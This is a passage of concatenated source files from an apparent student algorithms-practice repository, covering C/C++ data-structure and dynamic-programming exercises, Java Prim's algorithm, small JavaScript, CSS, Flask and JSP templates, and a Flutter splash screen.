 printf("Maximum element: %d\n", max);
 printf("Minimum element: %d", min);
 return 0;
 }


<|start_filename|>DSA/Special Matrices/LowerTraingularMatrix_rowMajor.cpp<|end_filename|>
#include <iostream>

using namespace std;

//Lower Triangular Matrix Row major Represetation
class LowerTriangularMatrix{
    private:
        int *A;
        int size;
    
    public:
        LowerTriangularMatrix(int n){
            this->size = n;
            A = new int[(n*(n+1))/2];
        }

        void set(int i, int j, int x);
        int get(int i, int j);
        void Display();
        ~LowerTriangularMatrix(){delete [] A;}
};

void LowerTriangularMatrix :: set(int i, int j, int x){
    if(i >= j)
        A[(i*(i-1))/2 + j-1] = x;
}

int LowerTriangularMatrix :: get(int i, int j){
    if(i < j) return 0;
    else return A[(i*(i-1))/2 + j-1];
}

void LowerTriangularMatrix :: Display(){
    for(int i=1; i<= size; i++){
        for(int j = 1; j<= size; j++){
            if(i >= j) {
                printf("%3d ", A[(i*(i-1))/2 + j-1]);
            }
            else printf("%3d ", 0);
        }
        cout << endl;
    }
}

int main(int argc, char const *argv[])
{
    LowerTriangularMatrix mat(5);
    mat.set(1, 1, 24);
    mat.set(2, 1, 67);
    mat.set(2, 2, 12);
    mat.set(3, 1, 63);
    mat.set(3, 2, 19);
    mat.set(3, 3, 42);
    mat.set(4, 1, 90);
    mat.set(4, 2, 51);
    mat.set(4, 3, 63);
    mat.set(4, 4, 72);
    mat.set(5, 1, 52);
    mat.set(5, 2, 89);
    mat.set(5, 5, 61);
    mat.set(5, 4, 71);
    mat.set(5, 3, 112);

    cout << mat.get(5, 2) << endl;
    cout << mat.get(1, 0) << endl;
    cout << mat.get(1, 4) << endl;
    cout << mat.get(4, 4) << endl;
    cout << mat.get(4, 1) << endl;
    cout << endl;

    mat.Display();
    return 0;
}


<|start_filename|>CPP/Fractional Knapsack.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;

class Knapsack_G 
{
    public:
    double weight[3];
    double benefit[3];
    double ratio[3];
    double W;
    Knapsack_G() 
    {   int nItems;
    	cout<<"Enter the number of objects: ";
    	cin>>nItems;
    	cout<<"Enter the object's weights\n";
    	for (int i = 0; i<nItems; ++i) 
    		cin>>weight[i];
    	cout<<"Enter the object's profits\n";
    	for (int i = 0; i<nItems; ++i) 
    		cin>>benefit[i];
    	for (int i = 0; i<nItems; ++i) 
    		ratio[i] = (double)benefit[i] / weight[i]; 
    	cout<<"Enter the Capacity of the knapsack: ";
    	cin>>W;
    	cout<<"All values are taken\n";
    	for (int i = 0; i<nItems; ++i) 
    		cout<<"Weight"<<i+1<<" "<<weight[i]<<" "<<"benefit"<<i+1<<" "<<benefit[i]<<" "<<"ratio"<<i+1<<" "<<ratio[i]<<" "<<endl;
        cout<<"capacity "<<W<<endl;
    }

    int getNext()
    {
    	double highest = 0;
    	int index = -1;
    	for (int i = 0; i<(sizeof(benefit)/sizeof(benefit[0])); ++i) 
    	{
    		if (ratio[i] >highest) 
    		{
    			highest = ratio[i];
    			index = i;      
    		}
    	} 
    	return index;
    }
    
    void fill()
    {
    	double cW = 0; //current weight
    	double cB = 0; //current benefit 
    	cout<<"\n Objects  considered: ";
    	while (cW<W) 
    	{
    		int item = getNext();        //next highest ratio
    		if (item == -1) {
    			//No items left
    			break;
            }
        	cout<<(item+1)<<" ";
        	if (cW + weight[item] <= W)
    		{
    		    cW += weight[item];
        		cB += benefit[item];
        		//mark as used for the getNext() (ratio) function
    			ratio[item] = 0;
            }
    		else 
            {
        		cB += (ratio[item] * (W - cW));
        		cW += (W - cW);
        		break;  //the knapsack is full
            }
        }
    	cout<<"\nThe Optimal Solution i.e. Max Benefit = " << cB ;
    }
};


int main() {
		Knapsack_G fk;
		fk.fill();
}


<|start_filename|>CPP/displayDate.cpp<|end_filename|>
/*  C++ Program to Display Date using Constructors */

#include<iostream>
using namespace std;

class date
{
    private:
        int dd, mm, yy;

    public:
        date()
        {
            dd=31;
            mm=12;
            yy=2016;
            cout<<"\nDate Object has been created..............\n";
        }

        void display()
        {
            cout<<"\nThe Entered Date is :: ";
            cout<<dd<<"-"<<mm<<"-"<<yy<<"\n";
        }
};
int main ()
{
date date1;
date1.display ();

return 0;
}


<|start_filename|>Python/Sakha/Sakha/static/js/userProfile.js<|end_filename|>
/*------------------------------
Follow button related functionality
---------------------------------*/
const followBtn = document.querySelector('.follow__btn');
const followersBtn = document.querySelector('.followers__btn');


if(followBtn) {

    followBtn.addEventListener('click',function(e) {
        e.preventDefault();
    
        fetch('/follow_action', {
            headers : {
                'Content-Type' : 'application/json'
            },
            method : 'POST',
            body : JSON.stringify( {
                'user_id': Number(this.dataset.userid)
            })
        })
        .then(res => res.json()).then(res =>{
            this.textContent = (res['follow'] ? res['follow'] : res['unfollow']);
            followersBtn.textContent = `${res['followers']} followers`;
        })
    });
}




/*-----------------------------------
 * Heart button related functionality
------------------------------------*/
const heartBtns = document.querySelectorAll('.heart__btn');
const totalHearts = document.querySelectorAll('.heart__btn span');
const heartIcons = document.querySelectorAll('.heart__btn i');

if (heartBtns) {
    
    heartBtns.forEach((heartBtn, index) => {
        heartBtn.addEventListener('click', e => {
            e.preventDefault();
            const postId = Number(heartBtn.dataset.postid);
    
            fetch('/like_action', {
                headers : {
                    'Content-Type':'application/json'
                },
                method : 'POST',
                body : JSON.stringify({
                    'post_id':postId
                })
            })
            .then(res => res.json()).then(res => {
                heartBtn.classList.toggle('heart__btn__active');
                totalHearts[index].textContent = res["totalLikes"];
                heartIcons[index].classList.toggle('far');
                heartIcons[index].classList.toggle('fas');
            })
        })
    })
}

<|start_filename|>CPP/minsubsetdiff.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;

int mindiffsubset(int set[], int n, int sum)
{
	bool subset[n + 1][sum + 1];
	for (int i = 0; i <= sum; i++)
		subset[0][i] = false;
	for (int i = 0; i <= n; i++)
		subset[i][0] = true;
	for (int i = 1; i <= n; i++)
	{
		for (int j = 1; j <= sum; j++)
		{
			if (set[i - 1] > j)
				subset[i][j] = subset[i - 1][j];
			else
				subset[i][j] = subset[i - 1][j] || subset[i - 1][j - set[i - 1]];
		}
	}
	vector<int> v;
	for (int i = n; i <= n; i++)
	{
		for (int j = 0; j <= sum / 2; j++)
		{
			if (subset[i][j] == true)
				v.push_back(j);
		}
	}
	int mn = INT_MAX;
	for (int i = 0; i < v.size(); i++)
	{
		mn = min(mn, sum - 2 * v[i]);
	}
	return mn;
}
int main()
{
	ios_base::sync_with_stdio(false);
	cin.tie(NULL);
	cout.tie(NULL);
	int n;
	cin >> n;
	int set[n];
	int sum = 0;
	for (int i = 0; i < n; i++)
	{
		cin >> set[i];
		sum = sum + set[i];
	}
	cout << mindiffsubset(set, n, sum);
	return 0;
}

<|start_filename|>CPP/SortingTechniques/CountSort.c<|end_filename|>
//Count Sort
//Count Sort counts the number of occurrences of each array element in seperate count array.
//Then it refills the main array according to the occurrences of deiffenet elements.
//It is easiest, fastest, but consumes a lot of memory since it is dependent on maximum element.
//Time Complexity : O(n)
//Space Complexity : O(n) where n is the max element in the array.

//Count Sort is best when it comes to small ranges, but is not effcient for huge ranges.

//Implementation
#include <stdio.h>
#include <stdlib.h>

int Max(int A[], int n)
{
    int max = -32768;
    for(int i=0; i < n; i++)
        if(A[i] > max) max = A[i];
    return max;
}

void CountSort(int A[], int n)
{
    int max = Max(A, n);
    int *C = (int*)malloc((max+1)*sizeof(int));

    for(int i=0; i < max+1; i++) C[i] = 0;//Initilization
    for(int i=0; i < n; i++) C[A[i]]++; //Count

    int i=0, j=0;
    while(i < max+1)
    {
        if(C[i] > 0){
            A[j++] = i;
            C[i]--;
        }
        else i++;
    }

}


int main()
{
    int A[] = {6, 3, 9, 10, 15, 6, 8, 12, 3, 6};
    int n = sizeof(A)/sizeof(A[0]);

    CountSort(A, n);
    //Display
    printf("Sorted : ");
    for(int i=0; i < n; i++)
        printf("%d ", A[i]);
    printf("\n");
    return 0;
}


<|start_filename|>CPP/kadane.cpp<|end_filename|>
#include<bits/stdc++.h>

using namespace std;

int kadane(vector <int> a) {
    int max_current = a[0];
    int max_global = a[0];
    for (int i = 1; i < a.size(); i++) {
        max_current = max(a[i], max_current + a[i]);
        if(max_current > max_global) {
            max_global = max_current;
        }
    }
    return max_global;
}

int main() {
    int n; cin >> n;
    vector <int> a(n);
    for (int i = 0; i < n; ++i) {
        cin >> a[i];
    }
    cout << kadane(a);
    return 0;
}


<|start_filename|>Java/Prim_Algorithm.java<|end_filename|>
import java.util.*;

public class Prim_Algorithm {
    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        int vertex = sc.nextInt();
        int edge = sc.nextInt();
        int mat[][] = new int[vertex][vertex];
        for (int i = 0; i < edge; i++) {
            int src = sc.nextInt();
            int dest = sc.nextInt();
            int weight = sc.nextInt();
            mat[src][dest] = weight;
            mat[dest][src] = weight;
        }

        // for (int i = 0; i < vertex; i++) {
        // for (int j = 0; j < vertex; j++) {
        // System.out.print(mat[i][j]);
        // }
        // System.out.println();
        // }

        /*
         * 5 7 0 1 4 0 2 8 1 2 2 1 3 6 3 2 3 2 4 9 3 4 5
         */

        sc.close();

        int[] parent = new int[vertex];
        int[] weight = new int[vertex];
        Arrays.fill(weight, Integer.MAX_VALUE);
        weight[0] = 0;

        boolean[] visited = new boolean[vertex];

        for (int i = 0; i < vertex; i++) {
            if (visited[i])
                continue;
            prims(mat, vertex, parent, weight, visited);
        }

        for (int i = 0; i < vertex; i++) {
            System.out.println(i + " " + parent[i] + " " + weight[i]);
        }

    }

    static void prims(int mat[][], int vertex, int[] parent, int[] weight, boolean[] visited) {
        int min = -1;
        int temp = Integer.MAX_VALUE;

        for (int i = 0; i < vertex; i++) {
            if (temp > weight[i] && !visited[i]) {
                temp = weight[i];
                min = i;
            }
        }

        if (min == -1)
            return;

        visited[min] = true;

        for (int i = 0; i < vertex; i++) {
            if (mat[min][i] == 0)
                continue;
            if (weight[i] > mat[min][i] && !visited[i]) {
                weight[i] = mat[min][i];
                parent[i] = min;
            }
        }

    }

}


<|start_filename|>CPP/bellmanford.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;
int main()
{
	int v,e;
	cin>>v>>e;
	vector< pair<int,int> > adj[v];
	for(int i=0;i<e;i++)
	{
		int src,dest,w;
		cin>>src>>dest>>w;
		adj[src].push_back({dest,w});
	}
	int src;
	cin>>src;
	int dist[v];
	for(int i=0;i<v;i++)dist[i]=INT_MAX;
	dist[src]=0;
	for(int i=0;i<(v-1);i++)
	{
		for(int j=0;j<v;j++)
		{
			for(int k=0;k<adj[j].size();k++)
			{
				int s,d,w;
				s = j;
				d = adj[j][k].first;
				w =  adj[j][k].second;
				if(dist[d]>(dist[s]+w) && dist[s]!=INT_MAX)
				{
					dist[d] = dist[s] + w;
				}
			}
		}
	}
	bool x=true;
	for(int j=0;j<v;j++)
	{
		for(int k=0;k<adj[j].size();k++)
		{
			int s,d,w;
			s = j;
			d = adj[j][k].first;
			w =  adj[j][k].second;
			if(dist[d]>dist[s]+w && dist[s]!=INT_MAX)
			{
				x = false;
			}
		}
	}
	for(int i=0;i<v;i++)cout<<dist[i]<<' ';
	cout<<endl;
}

<|start_filename|>JS/To-do app/style.css<|end_filename|>
@font-face {
	src: url(fonts/Jost-VariableFont_wght.ttf);
	font-family: texts;
}

@font-face {
	src: url(fonts/PROPAGAN.ttf);
	font-family: head;
}

* {
	padding: 0;
	margin: 0;
	box-sizing: border-box;
}

.container {
	display: flex;
	height: 100vh;
	flex-direction: column;
	justify-content: center;
	align-items: center;
	border: 2px solid black;
	background-image: linear-gradient(120deg,#fd9644,#e15f41);
	/*background-image: linear-gradient(120deg,#ffc048,#fd9644);*/
}

.header {
	position: absolute;
	top: 20px;
	height: 20vh;
	width: 100%;
	text-align: center;
	color: yellow;
	font-family: head;
	font-size: 35px;
}

#icon {
	font-size: 35px;
	position: relative;
	top: 1px;
}

#icon:hover {
	cursor: pointer;
}

.upper {
	position: absolute;
	top: 170px;
}

.entry {
	width: 100%;
	height: auto;
	border-bottom: 2px solid gray;
	padding: 8px 0 8px 16px;
	font-size: 25px;
	font-family: texts;
	transition: all 0.3s;
}

.new {
	position: absolute;
	top: 230px;
	display: flex;
	width: 100%;
	height: 60vh;
	flex-direction: column;
	align-items: center;
}

.lower {
	position: relative;
	width: 40%;
	margin-top: 40px;
	background: white;
	max-height: 300px;
	overflow: auto;
}

#check {
	font-size: 25px;
	float: right;
	margin: 0 10px;
}

.g {
	color: green;
	position: relative;
	top: 3px;
}

.g:hover {
	background-color: green;
	color: white;
}

.r {
	color: red;
	position: relative;
	top: 3px;
}

.r:hover {
	background-color: red;
}

.btn {
	position: absolute;
	right: 4px;
	outline: none;
	border: none;
	background: none;
}

.add {
	width: 300px;
	padding: 10px;
}

#refresh {
	margin-top: 30px;
	margin-left: 10px;
	color: white;
	font-size: 25px;
}

.refresh {
	position: relative;
	right: 10px;
	font-family: texts;
	font-size: 25px;
	color: white;
}

.refresh:hover {
	cursor: pointer;
}
.refresh:hover #refresh{
	transition: all 0.5s;
	transform: rotate(180deg);
}

<|start_filename|>DSA/Notes and examples/2-d array.cpp<|end_filename|>
#include<iostream>

using namespace std;
int main()
{
	int n,m,i,j;
	cout<<"enter length of matrix r x c=";
	cin>>n>>m;
	int arr[n][m];
	for(i=0;i<n;i++)
	{
		for(j=0;j<m;j++)
		{
		cin>>arr[i][j];
		}
	}
	
	cout<<"\nMatrix is:";
	for(i=0;i<n;i++)
	{
		for(j=0;j<m;j++)
		{
		cout<<arr[i][j]<<" ";
	    }
	}
	cout<<endl;
	return 0;
}


<|start_filename|>DP/Coin_Change_Problem.cpp<|end_filename|>
#include<iostream>
#include<bits/stdc++.h>
using namespace std;

#include "../debug.h"

// SC: O(n^2)
int CoinChange1(vector<int> &v, int sum){
	int n = v.size();

	int dp[n+1][sum+1]={0};

	for(int i=0; i<sum+1; i++)
		dp[0][i] = 0;
	for(int i=0; i<n+1; i++)
		dp[i][0] = 1;

	for(int i=1; i<n+1; i++){
		for(int j=1; j<sum+1; j++){
			if(v[i-1] <= j)
				dp[i][j] = dp[i-1][j] + dp[i][j-v[i-1]];
			else
				dp[i][j] = dp[i-1][j];
		}
	}

	return dp[n][sum];
}

// SC: O(n)
int CoinChange2(vector<int> &v, int sum){
	int n = v.size();

	int dp[sum+1] = {0};
	dp[0] = 1;

	for(int i=1; i<n+1; i++){
		for(int j=v[i-1]; j<sum+1; j++){
			dp[j] += dp[j-v[i-1]];
		}
	}

	return dp[sum];
}

int main(){
	// freopen("../input.txt", "r", stdin);  
	freopen("../output.txt", "w", stdout);
	freopen("../Error.txt", "w", stderr);

	vector<int> v = {1,2,3};
	int sum = 5;

	v = {2,5,3,6};
	sum = 10;

	cout<<CoinChange1(v, sum)<<endl;
	cout<<CoinChange2(v, sum)<<endl;
}

<|start_filename|>DP/min_path_sum.cpp<|end_filename|>
/*
Given a n x m grid filled with non-negative numbers, find a path from top left to bottom right, which minimizes the sum of all numbers along its path.

Note: You can only move either down or right at any point in time.

Input: grid = [[1,3,1],[1,5,1],[4,2,1]]
Output: 7
Explanation: Because the path 1 → 3 → 1 → 1 → 1 minimizes the sum.


*/
#include<bits/stdc++.h>
using namespace std;
int dp[202][202];
int minPathSum(vector<vector<int>>& grid) {
        int n=grid.size();
        int m=grid[0].size();
        int dp[n][m];
        for(int i=n-1;i>=0;i--){
            for(int j=m-1;j>=0;j--){
                if(i==n-1 && j==m-1){
                    dp[i][j]=grid[i][j];
                }else if(i==n-1){
                    dp[i][j]=grid[i][j]+dp[i][j+1];
                }
                else if(j==m-1){
                    dp[i][j]=grid[i][j]+dp[i+1][j];
                }
                else{
                    dp[i][j]=grid[i][j]+min(dp[i+1][j],dp[i][j+1]);
                }
            }
        }
        return dp[0][0];
        
  }

int main()
{
	ios_base::sync_with_stdio(false);
	cin.tie(NULL);
	cout.tie(NULL);
	int t;
	cin >> t;
	while (t--)
	{
            int rows,cols;
            cin>>rows>>cols;
            vector<vector<int>> grid( rows , vector<int> (cols));
            for(int i=0;i<rows;i++){
               for(int j=0;j<cols;j++){
                       cin>> grid[i][j];
                }
          }
          cout << minPathSum(grid) << "\n";
    }
return 0;
}







<|start_filename|>Python/Sakha/Sakha/templates/users/settings.html<|end_filename|>
{% extends 'others/layout.html' %}
{% block stylesheet %}
<link rel="stylesheet" href="{{url_for('static', filename='css/settings.min.css')}}">
{% endblock %}

{% block body %}
<main class="settings--main">
    
    <!-- _______________________Message Flashing when account details is updated________________________ -->
    <div class="message--container message--hide">
        <span class="message">
            Your account details has been updated.
        </span>
        <button class="message__hide__btn">&Cross;</button>
    </div>

    <div class="settings__heading__container">
        <h1 class="settings__heading">Account Settings</h1>
        <p>Hello {{current_user.firstname}}, You can update your account details here.</p>
    </div>


    <!----------------------- Form for modifying firstname and lastname -------------------------->
    <form method="post" class="nameForm form">
        {{nameForm.hidden_tag()}}

        <div class="nameForm__name__group form__name__group">
            <div class="form__group">
                {{nameForm.firstname.label}}
                {{nameForm.firstname(placeholder="Enter your firstname", class="firstname__field")}}
                <span class="field__error"></span>
            </div>

            <div class="form__group">
                {{nameForm.lastname.label}}
                {{nameForm.lastname(placeholder="Enter your lasttname", class="lastname__field")}}
                <span class="field__error"></span>
            </div>
            
        </div>

        <div class="form__submit__group">
            {{nameForm.submit}}
        </div>
    </form>
    <!-- ___________________________________________________ -->


    <!----------------------- Form for modifying about_user details  -------------------------->
    <form method="post" class="aboutForm form">
        {{aboutForm.hidden_tag()}}

        <div class="form__group">
            {{aboutForm.address.label}}
            {{aboutForm.address(class="address")}}
        </div>

        <div class="form__group">
            {{aboutForm.about_user.label}}
            {{aboutForm.about_user(class="about_user")}}
        </div>


        <div class="form__submit__group">
            {{aboutForm.submit}}
        </div>
    </form>
    <!-- ___________________________________________________ -->


    <!-------------------------Form for modifying email id and username----------------------->
    <form method="post" class="uniqueForm form">
        {{uniqueForm.hidden_tag()}}

        <div class="form__group">
            {{uniqueForm.username.label}}
            {{uniqueForm.username(placeholder="Enter username")}}
            {% if uniqueForm.username.errors %}
            {% for error in uniqueForm.username.errors %}
            <span>{{error}}</span>
            {% endfor %}
            {% endif %}
        </div>

        <div class="form__group">
            {{uniqueForm.email.label}}
            {{uniqueForm.email(placeholder="Enter Email Address")}}
            {% if uniqueForm.email.errors %}
            {% for error in uniqueForm.email.errors %}
            <span>{{error}}</span>
            {% endfor %}
            {% endif %}
        </div>

        <div class="form__submit__group">
            {{aboutForm.submit}}
        </div>

    </form>
    <!-- ___________________________________________________ -->


</main>
{% endblock %}

{% block script %}
<script src="{{url_for('static', filename='js/settings.js')}}"></script>
{% endblock %}

<|start_filename|>CPP/Data Structures/math/gp_term.cpp<|end_filename|>
// { Driver Code Starts
//Initial Template for C++

#include<bits/stdc++.h>
using namespace std;


 // } Driver Code Ends
//User function Template for C++

class Solution{
    public:
        //Complete this function
    double termOfGP(int A,int B,int N)
    {
        return A*pow(((double)B/A),N-1);
    }
};

// { Driver Code Starts.


int main()
{
    int T; //testcases total
    cin>>T;//input the testcases

    for(int i=0;i<T;i++) //white testcases are not exhausted
    {
        int A,B;
        cin>>A>>B; //input first and second term of gp
        int N;
        cin>>N; //input n
        Solution ob;
        cout<<floor(ob.termOfGP(A,B,N))<<endl;
    }

    return 0;
}

  // } Driver Code Ends

<|start_filename|>C/transpose sequential search.c<|end_filename|>
#include<stdio.h>
int main()
{
	int a[10],n,i,t,element;
printf("enter the number of values to be inserted");
scanf("%d",&n);
for(i=0;i<n;i++)
{
	printf("enter the value");
	scanf("%d",&a[i]);
}
printf("enter the element to be searched");
scanf("%d",&element);
for(i=0;i<n;i++)
{
	if(a[i]==element)
	{
		printf("yes");
		t=a[i];a[i]=a[i-1];a[i-1]=t;
		break;
	}
}
if(i==n)
printf("no");
else
 {
	for(i=0;i<n;i++)
	printf("%d",a[i]);
 }
}


//sample o/p
//enter the number of values to be inserted7
//enter the value1
//enter the value2
//enter the value243
//enter the value3434
//enter the value668
//enter the value36836
//enter the value73
//enter the element to be searched7
//no


<|start_filename|>JS/sortObjArr.js<|end_filename|>
function sortObjArr(objArr, key){
  return objArr.sort((a, b) => a[key] - b[key])
}

sortObjArr([
  {
    name: "John",
    age: 34
  },
  {
    name: "Johny",
    age: 23
  },
  {
    name: "Dan",
    age: 18
  }
], "age")


<|start_filename|>CPP/DetectCycleUnionFind.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;
int find(int s, int parent[])
{
	if(parent[s]==-1)return s;
	else return find(parent[s], parent);
}

void Union(int x,int y,int parent[])
{
	int a = find(x,parent);
	int b = find(y,parent);
	if(a==b)return;
	else 
	{
		parent[a]=b;
	}
}
void addedge(int u,int v,vector<int> adj[])
{

	adj[u].push_back(v);
}
bool findcycle(vector<int> adj[],int v )
{
	int parent[v];
	for(int i=0;i<v;i++)parent[i]=-1;
	for(int i=0;i<v;i++)
	{
		int p = find(i,parent);
		int siz = adj[i].size();
		for(int j=adj[i][0];i<=adj[i][siz-1];j++)
		{
			int c = find(adj[i][j],parent);
			if(c==p)return true;
			Union(p,c,parent);
		}
		
	}
	return false;

}

int main()
{
	int v=4;
	vector<int> adj[4];
	addedge(0,1,adj);
	addedge(1,2,adj);
	addedge(0,2,adj);
	addedge(2,3,adj);
	addedge(2,0,adj);
	if(findcycle(adj,4))cout<<"yes"<<endl;
	else cout<<"No"<<endl;

}

<|start_filename|>DSA/Searching/Frequency_count.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;

int count(int n, vector<int> a, int key)
{
    int freq=0;
    for(int i=0;i<n;i++)
    {
        if(key==a[i])
        {
            freq++;
            
        }
    }
    return freq;
}

int main() {
    vector<int>a={0,1,1,1,1,2,2,2,3,4,4,5,10};
    int n=a.size();
    int key=2;

    cout<<count(n,a,key);

}


<|start_filename|>DART/splash_screen.dart<|end_filename|>
// kunaljainwin
// /
// FlutterFirebaseDesigns
  
  import 'package:flutter/cupertino.dart';
import 'package:flutter/material.dart';
import 'package:google_fonts/google_fonts.dart';

class SplashScreen extends StatefulWidget {
  const SplashScreen({Key? key}) : super(key: key);

  @override
  _SplashScreenState createState() => _SplashScreenState();
}

class _SplashScreenState extends State<SplashScreen> {
  @override
  Widget build(BuildContext context) {
    return Scaffold(
      backgroundColor: Colors.black,
      body: Center(
        child: Container(
          width: MediaQuery.of(context).size.width,
          height: MediaQuery.of(context).size.height,
          alignment: Alignment.center,
          decoration: BoxDecoration(
              gradient: LinearGradient(
                  begin: Alignment.topCenter,
                  end: Alignment.bottomCenter,
                  stops: [0.5, 0.9],
                  colors: [Colors.black, Colors.yellow])),
          child: Column(
            mainAxisAlignment: MainAxisAlignment.center,
            crossAxisAlignment: CrossAxisAlignment.center,
            mainAxisSize: MainAxisSize.max,
            children: [
              RichText(
                text: TextSpan(
                    text: 'App',
                    style: TextStyle(
                      color: Colors.red,
                      fontWeight: FontWeight.bold,
                      fontSize: 30.0,
                    ),
                    children: <TextSpan>[
                      TextSpan(
                        text: 'Name',
                        style: TextStyle(
                          color: Colors.blueAccent,
                          fontWeight: FontWeight.bold,
                          //fontSize: 30.0,
                        ),
                      ),
                    ]),
              ),
              RichText(
                  text: TextSpan(
                      text: "by   ",
                      style: TextStyle(color: Colors.white, fontSize: 10),
                      children: [
                    TextSpan(
                      text: '<NAME>',
                      style: TextStyle(
                        fontFamily: GoogleFonts.poppins().fontFamily,
                        color: Colors.lime[50],
                        fontWeight: FontWeight.bold,
                        fontSize: 15.0,
                      ),
                    ),
                  ]))
            ],
          ),
        ),
      ),
    );
  }
}


<|start_filename|>DSA/Heaps/SmallestRangeInKLists.cpp<|end_filename|>
// Problem : Smallest range in K lists
//
// Problem Link: https://practice.geeksforgeeks.org/problems/find-smallest-range-containing-elements-from-k-lists/1#
//
// Input:
// N = 5, K = 3
// KSortedArray[][] = {{1 3 5 7 9},
//                     {0 2 4 6 8},
//                     {2 3 5 7 11}}
// Output: 1 2
// Explanation: K = 3
// A:[1 3 5 7 9]
// B:[0 2 4 6 8]
// C:[2 3 5 7 11]
// Smallest range is formed by number 1
// present in first list and 2 is present
// in both 2nd and 3rd list.

// Solution:
// { Driver Code Starts
#include<bits/stdc++.h>
using namespace std;
#define N 1000


 // } Driver Code Ends
// you are required to complete this function 
// function should print the required range
class Solution{
    public:
    pair<int,int> findSmallestRange(int arr[][N], int n, int k)
    {
          //code here
        priority_queue<pair<int,int>,vector<pair<int,int>>,greater<pair<int,int>>> pq;
        int maxi=INT_MIN, minrange=INT_MAX, start;
        for(int i=0;i<k;i++) 
        {
           pq.push({arr[i][0],i});
           maxi=max(maxi,arr[i][0]);
        }
        int a[k]={0};
        while(true)
        {
           pair<int,int> p=pq.top();
           pq.pop();
           int mini=p.first;
           int range=maxi-mini;
           if(range<minrange) 
           {
               start=mini;
               minrange=range;
           }
           a[p.second]++;
           if(a[p.second]==n)
               break;
           pq.push({arr[p.second][a[p.second]],p.second});
           maxi=max(maxi,arr[p.second][a[p.second]]);
        }
        return {start, minrange+start};
    }
};

// { Driver Code Starts.
int main()
{
    int t;
    cin>>t;
    while(t--)
    {
        int n, k;
        cin>>n>>k;
        int arr[N][N];
        pair<int,int> rangee;
        for(int i=0; i<k; i++)
            for(int j=0; j<n; j++)
                cin>>arr[i][j];
        Solution obj;
	    rangee = obj.findSmallestRange(arr, n, k);
	    cout<<rangee.first<<" "<<rangee.second<<"\n";
    }   
	return 0;
}

  // } Driver Code Ends



<|start_filename|>C/frequencyOfDigits.c<|end_filename|>
#include <stdio.h>

int main()
{
    int n, a[100], c = 0, i, max = 0;
    printf("Enter the size of array : ");
    scanf("%d", &n);
    printf("Enter the elements of array : ");
    for (int i = 0; i < n; i++)
        scanf("%d", &a[i]);
    for (int j = 0; j < n; j++)
    {
        c=0;
        for (i = 0; i < n; i++)
        {
            
            if (a[j] == a[i])
            {
                c++;
            }
        }
        
        printf("Frequency of %d : %d\n", a[j], c);
        
    }
    return 0;
}

// sample
/* 
    Enter the size of array : 5
    Enter the elements of array : 1
    2
    1
    2
    1
    Frequency of 1 : 3
    Frequency of 2 : 2
*/

<|start_filename|>DSA/Notes and examples/loops.cpp<|end_filename|>
#include<iostream>

using namespace std;

int main()
{
	int i=1;
	while(i<=10)
	{
		cout<<i<<""<<endl;
		i++;
	}	
	return 0;
}



<|start_filename|>DP/longestsubstringdp.c++<|end_filename|>
/*Longest Common Substring 
Given two strings ‘X’ and ‘Y’, find the length of longest common substring.
 Expected space complexity is linear.*/
#include <bits/stdc++.h>
using namespace std;

int LCSubStr(string X, string Y)
{

	int m = X.length();
	int n = Y.length();

	int result = 0;

	
	int len[2][n];

	
	int currRow = 0;

	for (int i = 0; i <= m; i++) {
		for (int j = 0; j <= n; j++) {
			if (i == 0 || j == 0) {
				len[currRow][j] = 0;
			}
			else if (X[i - 1] == Y[j - 1]) {
				len[currRow][j] = len[1 - currRow][j - 1] + 1;
				result = max(result, len[currRow][j]);
			}
			else {
				len[currRow][j] = 0;
			}
		}

		currRow = 1 - currRow;
	}

	return result;
}

int main()
{
	string X = "GeeksforGeeks";
	string Y = "GeeksQuiz";

	cout << LCSubStr(X, Y);
	return 0;
}


<|start_filename|>Java_Backend/JSPLoginForm/src/main/webapp/WEB-INF/views/index.jsp<|end_filename|>
<%@ include file="/common/taglibs.jsp" %>
<html>
<head>
  <title>Address Book Demo :: Welcome</title>
  <link rel="stylesheet" type="text/css" href="${ctx}/css/app/index.css" />
</head>
<body id="index">
<div class="bd container-fluid">

  <h3>Contact List</h3>

  <table class="table table-striped">
    <thead>
    <tr>
      <th>ID</th>
      <th>First Name</th>
      <th>Last Name</th>
      <th>Email</th>
      <th>Operations</th>
    </tr>
    </thead>
    <tbody>
    <c:forEach items="${contacts}" var="contact">
    <tr>
      <td>${contact.id}</td>
      <td>${contact.firstName}</td>
      <td>${contact.lastName}</td>
      <td>${contact.email}</td>
      <td></td>
    </tr>
    </c:forEach>
    </tbody>
  </table>

</div>
</body>
</html>

<|start_filename|>Python/Sakha/Sakha/templates/users/avatar.html<|end_filename|>
{% extends 'others/layout.html' %}
{% block stylesheet %}
<link rel="stylesheet" href="{{url_for('static', filename='css/avatar.min.css')}}">
{% endblock stylesheet %}

{% block body %}
<main class="avatar--main">

    <section>
        <h2>Upload Images</h2>

        <form enctype="multipart/form-data" method="post" class="form">
            {{form.hidden_tag()}}

            <div class="form__group">
                {{form.profile_pic.label}}
                {{form.profile_pic}}
                {% if form.profile_pic.errors %}
                {% for error in form.profile_pic.errors %}
                <span>{{error}}</span>
                {% endfor %}
                {% endif %}
            </div>

            <div class="form__group">
                {{form.header_pic.label}}
                {{form.header_pic}}
                {% if form.header_pic.errors %}
                {% for error in form.header_pic.errors %}
                <span>{{error}}</span>
                {% endfor %}
                {% endif %}
            </div>

            <div class="form__submit__group">
                {{form.submit}}
            </div>

        </form>

        <div class="important__note__container">
            <h4>Read before uploading : </h4>
            <p><em>The image file should be of maximum size 3 MB and image format in jpg/svg/gif/png is only allowed</em></p>
        </div>  
    </section>
    

</main>
{% endblock %}




<|start_filename|>CPP/Data Structures/math/power_of_two.cpp<|end_filename|>
// check given number can be represented in power of two
// fact: in binary only one bit is set if the number can represented by 2
//use brian algo to unset the last bit and check its zero or not
#include<bits/stdc++.h>
using namespace std;
int main()
{
    int n=16;
    if((n&(n-1))==0)
    cout<<"yes";
    else 
    cout<<"no";
}

<|start_filename|>CPP/SortingTechniques/ShellSort.c<|end_filename|>
//Shell Sort
//Shell Sort is usefu for sorting very lagre size array.
//Shell Sort is based on Insertion Sort. We follow the same procedure as in insertion sort.
//Only that this time, a gap is introduced between each element which rduces by half after each pass.
//Initially gap between two elements to consider for insertion sort is floor(n/2).

//Time Complexity
//Shell sort comes with many variation depending what we choose for gap.
